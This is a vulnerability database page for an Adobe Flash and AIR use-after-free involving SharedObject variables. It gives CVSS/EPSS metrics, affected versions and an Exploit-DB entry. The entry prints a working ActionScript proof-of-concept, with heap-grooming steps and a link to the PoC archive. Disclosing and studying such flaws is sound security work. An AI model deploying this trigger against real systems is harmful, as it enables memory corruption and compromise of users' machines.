Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 37852
Publication date : 2015-08-18 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=355&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
In certain cases where a native AS2 class sets an internal variable, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.contentType, this applies to several other variables including many proprties of the Sound and NetStream classes.
A proof of concept is as follows:
var s = SharedObject.getLocal("test");
ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var o = {myprop: "test", myprop2: "test"};
s.data.contentType = o;
flush();
ASnative(2100, 200)(s.data); // new NetConnection
trace(s.data.contentType);
s = 1;
//Do GC
for(var i = 0; i < 100; i++){
var b = new flash.display.BitmapData(100, 1000, true, 1000);
}
setInterval(c, 1000);
function c(){
ASnative(252, 1).call(o); //Array push
}
A fla, an AS file and two swfs are attached. donotdelete.fla compiles to donotdelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and donotdelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37852.zip
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (including) 11.2.202.491
Linux>>Linux_kernel >> Version -
Configuraton 0
Opensuse>>Evergreen >> Version 11.4
Configuraton 0
Adobe>>Flash_player >> Version To (including) 18.0.0.209
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Air >> Version To (including) 18.0.0.180
Adobe>>Air_sdk >> Version To (including) 18.0.0.180
Adobe>>Air_sdk_\&_compiler >> Version To (including) 18.0.0.180
References